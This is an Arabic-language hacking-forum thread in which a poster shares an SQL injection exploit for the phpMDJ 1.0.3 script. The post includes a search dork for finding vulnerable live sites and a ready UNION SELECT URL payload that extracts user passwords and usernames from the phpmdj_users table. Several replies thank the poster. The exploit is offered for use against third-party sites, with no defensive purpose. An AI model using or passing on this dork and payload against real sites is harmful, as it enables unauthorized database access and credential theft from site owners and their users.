ثغرة في سكريبت phpMDJ 1.0.3

[M!M0]

[align=center]السلام عليكم ورحمة الله وبركاته

جبت لكم اليوم ثغرة في سكريبت phpMDJ 1.0.3

الثغرة من نوع SQL INJECTION

الذي يعشقها الكثير

نبدأ

دورك البحث عن المواقع المصابة

DORK: Inurl:"profile.php?id

طريقة الإستغلال

tp://site/path/profile.php?id=-1 union select 1,2,3,mdp,5,6,pseudo,8,9,10,11,12,13,14,15,16 FROM phpmdj_users where id=1--

الثغرة من إكتشاف k4cp3r and Ablus

إن شاء الله تستفيدوا

موفقين بإذن الله ...[/align]

 

[alkingmafia]

شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .

 

[T3BaN_HaCkEr]

اشكرك يا معلم

وااصل ولا تحرمنا من جديدك

 

[iTaChi]

مشكوووووور

وما قصرت